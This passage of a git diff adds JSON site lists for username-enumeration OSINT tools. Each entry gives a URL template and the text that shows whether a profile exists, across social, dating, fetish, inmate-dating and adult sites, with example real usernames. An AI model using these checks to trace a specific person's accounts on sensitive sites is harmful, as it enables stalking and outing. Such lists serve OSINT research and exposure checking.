+ "cat": "blog" + }, + { + "name": "WordPress.org (Profiles)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://profiles.wordpress.org/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "toszcze", + "mattsson" + ], + "cat": "blog" + }, + { + "name": "Wowhead", + "uri_check": "https://www.wowhead.com/user={account}", + "e_code": 200, + "e_string": " Profile - Wowhead", + "m_string": "Error - Wowhead", + "m_code": 404, + "known": [ + "Ashelia", + "Zizarz" + ], + "cat": "gaming" + }, + { + "name": "Wykop", + "uri_check": "https://wykop.pl/ludzie/{account}", + "e_code": 200, + "e_string": "Profil:", + "m_string": "Wystąpił błąd 404.", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "X", + "uri_check": "https://api.x.com/i/users/username_available.json?username={account}", + "uri_pretty": "https://x.com/{account}", + "e_code": 200, + "e_string": "\"reason\":\"taken\"", + "m_string": "\"reason\":\"available\"", + "m_code": 200, + "known": [ + "WebBreacher", + "OSINT_Tactical" + ], + "cat": "social" + }, + { + "name": "Xakep.ru", + "uri_check": "https://xakep.ru/author/{account}/", + "e_code": 200, + "e_string": "authorBlock-avatar", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "tr3harder", + "stariy" + ], + "cat": "tech" + }, + { + "name": "Xanga", + "uri_check": "http://{account}.xanga.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s Xanga Site | Just", + "m_string": "", + "m_code": 302, + "known": [ + "john" + ], + "cat": "blog" + }, + { + "name": "Xbox Gamertag", + "uri_check": "https://www.xboxgamertag.com/search/{account}", + "e_code": 200, + "e_string": "Games Played", + "m_string": "Gamertag doesn't exist", + "m_code": 404, + "known": [ + "Spiken8", + "john" + ], + "cat": "gaming" + }, + { + "name": "xHamster", + "uri_check": "https://xhamster.com/users/{account}", + "e_code": 200, + "e_string": "s profile | xHamster", + "m_string": "User not found", + "m_code": 404, + "known": [ + "john", + "tonystark85" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Xing", + "uri_check": "https://www.xing.com/profile/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Bad request", + "m_code": 400, + "known": [ + "john", + "mumrra" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-models", + "uri_check": "https://www.xvideos.com/models/{account}", + "e_code": 200, + "e_string": "Total video views", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "vvalencourt3", + "tiffany-tyler" + ], + "cat": "xx NSFW xx" + }, + { + "name": "XVIDEOS-profiles", + "uri_check": "https://www.xvideos.com/profiles/{account}", + "e_code": 200, + "e_string": "page - XVIDEOS.COM", + "m_string": "THIS PROFILE DOESN'T EXIST", + "m_code": 404, + "known": [ + "nympho-nailer", + "dpadicto", + "bkg" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Yahoo! JAPAN Auction", + "uri_check": "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code": 200, + "e_string": "出品者", + "m_string": "Yahoo! JAPAN IDが無効です。", + "m_code": 500, + "known": [ + "fltr14502003" + ], + "cat": "shopping" + }, + { + "name": "yapishu", + "uri_check": "https://yapishu.net/user/{account}", + "e_code": 200, + "e_string": "for_profile", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "roman", + "semion" + ], + "cat": "hobby" + }, + { + "name": "Yazawaj", + "uri_check": "https://www.yazawaj.com/profile/{account}", + "e_code": 200, + "e_string": "profile-description", + "m_string": "<title>nodata", + "m_code": 302, + "known": [ + "monya14555d", + "LordMohy" + ], + "cat": "dating" + }, + { + "name": "YesWeHack", + "uri_check": "https://api.yeswehack.com/hunters/{account}", + "uri_pretty": "https://yeswehack.com/hunters/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "xel", + "rabhi" + ], + "cat": "tech" + }, + { + "name": "YouNow", + "uri_check": "https://api.younow.com/php/api/broadcast/info/user={account}", + "uri_pretty": "https://www.younow.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"errorMsg\":\"No users found\"", + "m_code": 200, + "known": [ + "lydia_tan33", + "RavJagz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "youpic", + "uri_check": "https://youpic.com/photographer/{account}", + "e_code": 200, + "e_string": "<meta name=\"og:title\"", + "m_string": "<title>YouPic — Not Found", + "m_code": 404, + "known": [ + "photodude", + "mike" + ], + "cat": "hobby" + }, + { + "name": "YouTube Channel", + "uri_check": "https://www.youtube.com/c/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "OvylarockTHR", + "OSINTDojo" + ], + "cat": "video" + }, + { + "name": "YouTube User", + "uri_check": "https://www.youtube.com/user/{account}/about", + "e_code": 200, + "e_string": "joinedDateText", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "MicahHoffman", + "theosintcuriousproject" + ], + "cat": "video" + }, + { + "name": "YouTube User2", + "uri_check": "https://www.youtube.com/@{account}", + "e_code": 200, + "e_string": "canonicalBaseUrl", + "m_string": "<title>404 Not Found", + "m_code": 404, + "known": [ + "tactical-systems", + "CybersecurityMeg" + ], + "cat": "video" + }, + { + "name": "Zbiornik", + "uri_check": "https://mini.zbiornik.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "INFO", + "m_string": "", + "m_code": 301, + "known": [ + "69uzytkownik69", + "Soif" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Zenn", + "uri_check": "https://zenn.dev/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "
    404
    ", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "coding" + }, + { + "name": "Zepeto", + "uri_check": "https://gw-napi.zepeto.io/profiles/{account}", + "uri_pretty": "https://web.zepeto.me/share/user/profile/{account}?language=en", + "e_code": 200, + "e_string": "zepetoId\":", + "m_string": "errorCode\":", + "m_code": 200, + "known": [ + "joe", + "james" + ], + "cat": "social" + }, + { + "name": "zhihu", + "uri_check": "https://api.zhihu.com/books/people/{account}/publications?offset=0&limit=5", + "uri_pretty": "https://www.zhihu.com/people/{account}", + "e_code": 200, + "e_string": "\"is_start\": true", + "m_string": "\"name\": \"NotFoundException\"", + "m_code": 404, + "known": [ + "lushnis", + "kan-shu-jiao-hua-shai-tai-yang" + ], + "cat": "social" + }, + { + "name": "Zillow", + "uri_check": "https://www.zillow.com/profile/{account}/", + "e_code": 200, + "e_string": "- Real Estate Agent", + "m_string": "", + "m_code": 302, + "known": [ + "JOHN-L-SULLIVAN", + "Maggie-Alegria" + ], + "cat": "shopping" + }, + { + "name": "zmarsa.com", + "uri_check": "https://zmarsa.com/uzytkownik/{account}", + "e_code": 200, + "e_string": "Statystyki", + "m_string": "Error 404 - zMarsa.com<", + "m_code": 404, + "known": [ + "janek", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Znanija", + "uri_check": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{account}\"}", + "uri_pretty": "https://www.google.com/search?q=site:znanija.com+intext:{username}", + "e_code": 200, + "e_string": "\"isAvailable\":false", + "m_string": "\"isAvailable\":true", + "m_code": 200, + "known": [ + "ila817674", + "abduabubakir42" + ], + "cat": "misc", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Zomato", + "uri_check": "https://www.zomato.com/{account}/reviews", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "Activity</h4>", + "m_string": "This is a 404 page and we think it's fairly clear", + "m_code": 404, + "known": [ + "john", + "jess" + ], + "cat": "social" + }, + { + "name": "zoomitir", + "uri_check": "https://www.zoomit.ir/user/{account}/", + "e_code": 301, + "e_string": "", + "m_string": "<title>خطای ۴۰۴ - صفحه یافت نشد", + "m_code": 404, + "known": [ + "rezaghezi", + "hosssssein" + ], + "cat": "tech" + }, + { + "name": "Чатовка.net", + "uri_check": "https://chatovka.net/search?user_nick=+{account}&user_sex_m=on&user_sex_f=on", + "e_code": 200, + "e_string": "href=\"/user/", + "m_string": "По Вашему запросу люди не найдены.", + "m_code": 200, + "known": [ + "ФорматА4", + "Alinka1313" + ], + "cat": "social" + } + ] +} \ No newline at end of file diff --git a/data/sites/cupidcr4wl.json b/data/sites/cupidcr4wl.json new file mode 100644 index 0000000..21967cf --- /dev/null +++ b/data/sites/cupidcr4wl.json @@ -0,0 +1,1897 @@ +{ + "websites": { + "Cash App": { + "url": "https://cash.app/${username}", + "check_text": [ + "on Cash App" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "payment and gifting" + }, + "Venmo": { + "url": "https://account.venmo.com/u/{username}", + "check_text": [ + "robots" + ], + "not_found_text": [ + "Venmo | Page Not Found" + ], + "category": "payment and gifting" + }, + "Buy Me A Coffee": { + "url": "https://buymeacoffee.com/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + "Not found" + ], + "category": "payment and gifting" + }, + "Linktree": { + "url": "https://linktr.ee/{username}", + "check_text": [ + "og:title" + ], + "not_found_text": [ + ":404" + ], + "category": "social" + }, + "Milkshake": { + "url": "https://msha.ke/{username}/", + "check_text": [ + "Milkshake Website Builder" + ], + "not_found_text": [ + "Well, this is awkward..." + ], + "category": "social" + }, + "Get All My Links": { + "url": "https://getallmylinks.com/{username}", + "check_text": [ + "GetAllMyLinks" + ], + "not_found_text": [ + "<title>GetAllMyLinks - 404" + ], + "category": "social" + }, + "All My Links": { + "url": "https://allmylinks.com/{username}", + "check_text": [ + "| AllMyLinks", + "profile-username profile-page" + ], + "not_found_text": [ + "Not Found" + ], + "category": "social" + }, + "Bybio": { + "url": "https://bybio.co/{username}", + "check_text": [ + "BYBIO" + ], + "not_found_text": [ + "404 not found", + "Bybio" + ], + "category": "social" + }, + "Reddit": { + "url": "https://www.reddit.com/user/{username}/", + "check_text": [ + "shreddit-profile-trophy-list", + "karma", + "cake day", + "posted yet" + ], + "not_found_text": [ + "sorry, nobody on reddit goes by that name.", + ">This account may have been banned or the username is incorrect.</p>" + ], + "category": "social" + }, + "Snapchat": { + "url": "https://snapchat.com/add/{username}", + "check_text": [ + "Header_displayNameText", + "Add me on snapchat!" + ], + "not_found_text": [ + "NoContent_title", + "Sorry," + ], + "category": "social" + }, + "Telegram": { + "url": "https://t.me/{username}", + "check_text": [ + "tgme_profile_title", + "tgme_page_extra" + ], + "not_found_text": [ + "noindex, nofollow", + "a new era of messaging" + ], + "category": "social" + }, + "Tumblr": { + "url": "https://www.tumblr.com/{username}", + "check_text": [ + "follow", + "posts" + ], + "not_found_text": [ + "whatever you were looking for" + ], + "category": "social" + }, + "Deviantart": { + "url": "https://www.deviantart.com/{username}", + "check_text": [ + "favourites", + "gallery" + ], + "not_found_text": [ + "llama not found" + ], + "category": "social" + }, + "Wattpad": { + "url": "https://www.wattpad.com/user/{username}", + "check_text": [ + "rss -" + ], + "not_found_text": [ + "wattpad - where stories live" + ], + "category": "social" + }, + "Fur Affinity": { + "url": "https://www.furaffinity.net/user/{username}", + "check_text": [ + "<title>Userpage of" + ], + "not_found_text": [ + "<title>System Error" + ], + "category": "social" + }, + "Fancentro": { + "url": "https://fancentro.com/{username}", + "check_text": [ + "Subscribe", + ">followers", + "modelSlug" + ], + "not_found_text": [ + "Porn Videos" + ], + "category": "social" + }, + "Clapper App": { + "url": "https://www.clapperapp.com/{username}", + "check_text": [ + "following", + "followers", + "likes" + ], + "not_found_text": [ + "couldn't find this account" + ], + "category": "social" + }, + "Tinder": { + "url": "https://www.tinder.com/@{username}", + "check_text": [ + "(@{username}) | Tinder", + "TinderPage Not Found", + "Tinder | Dating, Make Friends &" + ], + "category": "dating and hook-up" + }, + "Fab Swingers": { + "url": "https://www.fabswingers.com/profile/{username}", + "check_text": [ + "

    Looking For

    ", + "

    Meeting

    " + ], + "not_found_text": [ + "

    The user you tried to view doesn't seem to be on the site any more

    " + ], + "category": "dating and hook-up" + }, + "Swapfinder": { + "url": "https://swapfinder.com/profile/{username}", + "check_text": [ + "Profile on Swapfinder.com" + ], + "not_found_text": [ + "Swapfinder.com", + "Swapfinder - Where singles come out to play!" + ], + "category": "dating and hook-up" + }, + "Date-Fans": { + "url": "https://date-fans.com/profile/{username}", + "check_text": [ + "| Date-Fans" + ], + "not_found_text": [ + "DateFans" + ], + "category": "dating and hook-up" + }, + "Tagged": { + "url": "https://www.tagged.com/{username}", + "check_text": [ + "https://tagged.com/{username}", + "robots" + ], + "not_found_text": [ + "Tagged makes it easy", + "meet New People", + "verify-v1" + ], + "category": "dating and hook-up" + }, + "live.Xdating": { + "url": "https://live.xdating.com/{username}/bio", + "check_text": [ + "followers" + ], + "not_found_text": [ + "error, page not found" + ], + "category": "dating and hook-up" + }, + "FriendFinder-X": { + "url": "https://www.friendfinder-x.com/profile/{username}", + "check_text": [ + ">Profile</a>" + ], + "not_found_text": [ + "https://adultfriendfinder.com/p/register.cgi", + "Sign up for free at AdultFriendFinder", + "register, sign up, join, AdultFriendFinder", + "The World's Largest Casual Personals Site." + ], + "category": "dating and hook-up" + }, + "BDSM Singles": { + "url": "https://www.bdsmsingles.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "bdsmsingles.com/?language" + ], + "category": "dating and hook-up" + }, + "Find A Femdom": { + "url": "https://app.findafemdom.com/members/{username}", + "check_text": [ + "<title>Profile" + ], + "not_found_text": [ + "findafemdom.com/?language" + ], + "category": "dating and hook-up" + }, + "Inmate Classified (search)": { + "url": "https://www.inmate.com/?s={username}&post_type=inmate", + "check_text": [ + "profile-block Male" + ], + "not_found_text": [ + "search-no-results" + ], + "category": "dating and hook-up" + }, + "Women Behind Bars (search)": { + "url": "https://womenbehindbars.com/?s={username}", + "check_text": [ + "</span> Read More" + ], + "not_found_text": [ + "<p>Sorry, but nothing" + ], + "category": "dating and hook-up" + }, + "Inmate Passions": { + "url": "https://inmatepassions.com/dating/{username}/", + "check_text": [ + "<title>Inmate Passions:" + ], + "not_found_text": [ + "<strong>WHAT?" + ], + "category": "dating and hook-up" + }, + "Tasty Slips (underwear sales)": { + "url": "https://tastyslips.com/en/vendors/{username}", + "check_text": [ + ">About me</h2>" + ], + "not_found_text": [ + "The website was not found. Feel free to check out tastyslips.com", + "<title>Not found - TastySlips" + ], + "category": "fetish" + }, + "SoMyMy (underwear sales)": { + "url": "https://somymy.com/{username}", + "check_text": [ + ">Last seen", + ">Items of" + ], + "not_found_text": [ + ">Sorry, that page is not found!

    " + ], + "category": "fetish" + }, + "UBIUSB (underwear sales)": { + "url": "https://ubisub.com/profile/{username}/", + "check_text": [ + "Follow", + ">Age:", + ">About" + ], + "not_found_text": [ + ">ohh! page not found

    " + ], + "category": "fetish" + }, + "Fetish Finder": { + "url": "https://app.fetishfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos
    ", + ">Videos

    ", + "Follow" + ], + "not_found_text": [ + "

    Something went wrong

    " + ], + "category": "fetish" + }, + "Feet Finder": { + "url": "https://app.feetfinder.com/sellerProfile/{username}", + "check_text": [ + ">Photos", + ">Videos", + "Follow" + ], + "not_found_text": [ + "

    Something went wrong

    " + ], + "category": "fetish" + }, + "Sinful Feet": { + "url": "https://sinfulfeet.com/models/{username}.html", + "check_text": [ + "SinfulFeet | " + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Foot Fetish Beauties": { + "url": "https://footfetishbeauties.com/tour/models/{username}.html", + "check_text": [ + "<TITLE>FootFetishBeauties" + ], + "not_found_text": [ + "Page not found" + ], + "category": "fetish" + }, + "Fetish.com": { + "url": "https://www.fetish.com/p/{username}/", + "check_text": [ + ">Send message</span>", + "<h3>Interested in", + "About me", + "This profile is only visible for users who are logged in</h2>" + ], + "not_found_text": [ + "<title>404 Not Found" + ], + "category": "fetish" + }, + "XXXfollow": { + "url": "https://www.xxxfollow.com/{username}", + "check_text": [ + "</b>Views</div>", + "</b>Followers</div>", + "</b>Likes</div>" + ], + "not_found_text": [ + "<title>XXX follow - Free TikTok Porn (formerly Xfollow)" + ], + "category": "adult video and photo" + }, + "WatchMyGF": { + "url": "https://www.watchmygf.me/girls/{username}/", + "check_text": [ + "Age:", + "Name:", + ">Subscribe" + ], + "not_found_text": [ + "Page is not found: deleted or never existed" + ], + "category": "adult video and photo" + }, + "VR PORN": { + "url": "https://vrporn.com/pornstars/{username}/", + "check_text": [ + ">Follow" + ], + "not_found_text": [ + "We're sorry, but this page wasn't found.

    ", + "pornstar-item-name ranking" + ], + "category": "adult video and photo" + }, + "badoink vr": { + "url": "https://badoinkvr.com/vr-pornstar/{username}/", + "check_text": [ + "Measurements:
    ", + ">Height:", + ">Eyes:" + ], + "not_found_text": [ + "This page does not exist" + ], + "category": "adult video and photo" + }, + "Wankz VR": { + "url": "https://www.wankzvr.com/{username}", + "check_text": [ + ">Birthplace:", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Oops 404, we couldn't find the page you're looking for" + ], + "category": "adult video and photo" + }, + "SexLikeReal": { + "url": "https://www.sexlikereal.com/pornstars/{username}", + "check_text": [ + ">Date of birth", + ">Country of Origin", + ">Weight" + ], + "not_found_text": [ + ">Sorry... Requested page doesn't exist." + ], + "category": "adult video and photo" + }, + "Babepedia": { + "url": "https://www.babepedia.com/babe/{username}", + "check_text": [ + ">Add to favorites", + ">Body type:" + ], + "not_found_text": [ + "Sorry, she wasn't found in our database.", + "There's no exact match in our database." + ], + "category": "adult video and photo" + }, + "Tranny Videosx": { + "url": "https://trannyvideosx.com/user/{username}", + "check_text": [ + "Last Login:", + "Joined:" + ], + "not_found_text": [ + "Error", + "This user does not exist." + ], + "category": "adult video and photo" + }, + "Pornzog": { + "url": "https://pornzog.com/pornstar/{username}/", + "check_text": [ + ">Aliases:", + ">Birth Date:", + ">Hair Color:" + ], + "not_found_text": [ + "UUUPS there is no content matching your query.", + ">Not Found" + ], + "category": "adult video and photo" + }, + "Tube Galore (pornstars)": { + "url": "https://www.tubegalore.com/pornstar/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Tube Galore (channels)": { + "url": "https://www.tubegalore.com/source/{username}", + "check_text": [ + "results found", + "1" + ], + "not_found_text": [ + "404 not found" + ], + "category": "adult video and photo" + }, + "Shesfreaky": { + "url": "https://www.shesfreaky.com/profile/{username}/", + "check_text": [ + "views

    " + ], + "not_found_text": [ + "

    The requested file was not found on this server.

    " + ], + "category": "adult video and photo" + }, + "Playboy App": { + "url": "https://www.playboy.com/app/{username}", + "check_text": [ + "exclusive content on Playboy | The Playboy Club" + ], + "not_found_text": [ + "<title>Not Found" + ], + "category": "adult video and photo" + }, + "RealGfPorn (user)": { + "url": "https://www.realgfporn.com/user/{username}", + "check_text": [ + "Profile - Real Girlfriend Porn" + ], + "not_found_text": [ + "404 - page not found" + ], + "category": "adult video and photo" + }, + "BabesDirectory": { + "url": "https://babesdirectory.online/profile/{username}", + "check_text": [ + "BIO, Wiki, News" + ], + "not_found_text": [ + "Babe not found 404" + ], + "category": "adult video and photo" + }, + "Boobpedia": { + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={username}&fulltext=1", + "check_text": [ + "Page title matches" + ], + "not_found_text": [ + "There were no results matching the query." + ], + "category": "adult video and photo" + }, + "Fansify": { + "url": "https://fansify.co.uk/{username}", + "check_text": [ + "'s profile" + ], + "not_found_text": [ + "Fansify | Join" + ], + "category": "adult video and photo" + }, + "Pornhub (pornstars)": { + "url": "https://www.pornhub.com/pornstar/{username}", + "check_text": [ + "<div id=\"avatarPicture\">", + "Subscribers:", + "Video Views:", + "Gender:" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (models)": { + "url": "https://www.pornhub.com/model/{username}", + "check_text": [ + "Model Rank </div>", + "add friend" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "<title>Page Not Found", + "Top Pornstars and Models In Full-Length Free Sex Videos" + ], + "category": "adult video and photo" + }, + "Pornhub (users)": { + "url": "https://www.pornhub.com/users/{username}", + "check_text": [ + "<title>{username}", + "Profile - Pornhub.com" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pornhub (channels)": { + "url": "https://www.pornhub.com/channels/{username}", + "check_text": [ + "{username}", + "Profile - Pornhub.com", + "joined" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "XVIDEOS (pornstars)": { + "url": "https://www.xvideos.com/pornstars/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (users/channels)": { + "url": "https://www.xvideos.com/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS (profiles)": { + "url": "https://www.xvideos.com/profiles/{username}", + "check_text": [ + "{username} - Channel page - XVIDEOS.COM", + "Check out {username}", + "body--profile profile-page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "Not found - XVIDEOS.COM", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XVIDEOS Red": { + "url": "https://www.xvideos.red/{username}", + "check_text": [ + "video views", + "Subscribe", + "Videos" + ], + "not_found_text": [ + "Learn more" + ], + "category": "adult video and photo" + }, + "Redtube (pornstars)": { + "url": "https://www.redtube.com/pornstar/{username}", + "check_text": [ + "index, follow", + "Bio" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Redtube (users)": { + "url": "https://www.redtube.com/users/{username}", + "check_text": [ + "{username}'s Profile - RedTube", + "noindex, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "Redtube (channels)": { + "url": "https://www.redtube.com/channels/{username}", + "check_text": [ + "{username} Channel Page: Free Porn Movies | Redtube", + "index, follow" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404" + ], + "category": "adult video and photo" + }, + "XNXX (pornstars)": { + "url": "https://www.xnxx.com/pornstar/{username}", + "check_text": [ + "Model page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XNXX (porn-maker)": { + "url": "https://www.xnxx.com/porn-maker/{username}", + "check_text": [ + "Porn Maker" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XHAMSTER (users)": { + "url": "https://www.xhamster.com/users/{username}", + "check_text": [ + "{username}", + "xHamster" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "User not found" + ], + "category": "adult video and photo" + }, + "Motherless": { + "url": "https://www.motherless.com/m/{username}", + "check_text": [ + "Add friend" + ], + "not_found_text": [ + "Oh damn!" + ], + "category": "adult video and photo" + }, + "RedGIFs": { + "url": "https://www.redgifs.com/users/{username}", + "check_text": [ + "about" + ], + "not_found_text": [ + "robots" + ], + "category": "adult video and photo" + }, + "Sheer": { + "url": "https://www.sheer.com/{username}", + "check_text": [ + "FOLLOW" + ], + "not_found_text": [ + "404", + "Hmm, something's wrong.", + "Oops, page not found" + ], + "category": "adult video and photo" + }, + "JustFor.Fans": { + "url": "https://justforfans.com/{username}", + "check_text": [ + "Member since" + ], + "not_found_text": [ + "Filter By Gender" + ], + "category": "adult video and photo" + }, + "YouPorn (channels)": { + "url": "https://www.youporn.com/channel/{username}/", + "check_text": [ + "ranking" + ], + "not_found_text": [ + "Free Videos From" + ], + "category": "adult video and photo" + }, + "YouPorn (pornstars)": { + "url": "https://www.youporn.com/pornstar/{username}/", + "check_text": [ + "porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "YouPorn (uservids)": { + "url": "https://www.youporn.com/uservids/{username}/", + "check_text": [ + "free porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "FrolicMe (models)": { + "url": "https://www.frolicme.com/models/{username}/", + "check_text": [ + "naughty content featuring" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Fanvue": { + "url": "https://www.fanvue.com/{username}", + "check_text": [ + "posts", + "show more" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "AdmireMe.VIP": { + "url": "https://admireme.vip/{username}/", + "check_text": [ + "subscribe for", + "post count" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Tube8 (pornstars)": { + "url": "https://www.tube8.com/pornstar/{username}/", + "check_text": [ + "Porn Videos and XXX Movies | Tube8.com" + ], + "not_found_text": [ + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "Tube8 (channels)": { + "url": "https://www.tube8.com/channel/{username}/", + "check_text": [ + "Channel for Free Porn | Tube8.com" + ], + "not_found_text": [ + "Porn Channels" + ], + "category": "adult video and photo" + }, + "Raw White Meat": { + "url": "https://rawwhitemeat.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Height:", + ">Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "My POV Fam": { + "url": "https://mypovfam.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pevert POV": { + "url": "https://pervertpov.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Sluts Around Town": { + "url": "https://slutsaroundtown.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Passions Only": { + "url": "https://passionsonly.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "MiLFUCKD": { + "url": "https://milfuckd.com/performers/{username}/", + "check_text": [ + "JOIN NOW TO SEE MORE</span>", + ">Videos Featuring" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Clip Page": { + "url": "https://clip.page/{username}", + "check_text": [ + "Customs</button>", + "></i> Custom" + ], + "not_found_text": [ + "Not Found" + ], + "category": "adult video and photo" + }, + "Faphouse": { + "url": "https://faphouse.com/models/{username}", + "check_text": [ + "Porn Videos | Faphouse", + "Followers" + ], + "not_found_text": [ + "Error", + "Not found" + ], + "category": "adult video and photo" + }, + "TNAFlix": { + "url": "https://www.tnaflix.com/profile/{username}", + "check_text": [ + "Pornstar - TNAFLIX.COM" + ], + "not_found_text": [ + "404 - Not Found" + ], + "category": "adult video and photo" + }, + "Virtual Taboo": { + "url": "https://virtualtaboo.com/pornstars/{username}", + "check_text": [ + "Birthday:", + "VR Porn Star Videos: New Sex Scenes | VirtualTaboo" + ], + "not_found_text": [ + "

    404: Page not found

    " + ], + "category": "adult video and photo" + }, + "Tik.Porn": { + "url": "https://tik.porn/{username}", + "check_text": [ + "
    Views
    ", + "
    Followers
    " + ], + "not_found_text": [ + ">Page Not Found | Tik.Porn" + ], + "category": "adult video and photo" + }, + "PornHat (Models)": { + "url": "https://www.pornhat.com/models/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornHat (Channels)": { + "url": "https://www.pornhat.com/sites/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornMD": { + "url": "https://www.pornmd.com/pornstar/{username}", + "check_text": [ + "Videos and Porn Movies :: PornMD" + ], + "not_found_text": [ + "Oops! We could not find the requested page." + ], + "category": "adult video and photo" + }, + "Yuvutu (search)": { + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={username}", + "check_text": [ + ">1" + ], + "not_found_text": [ + "0 result(s)" + ], + "category": "adult video and photo" + }, + "Yuvutu (profile)": { + "url": "http://www.yuvutu.com/{username}", + "check_text": [ + "personal info", + 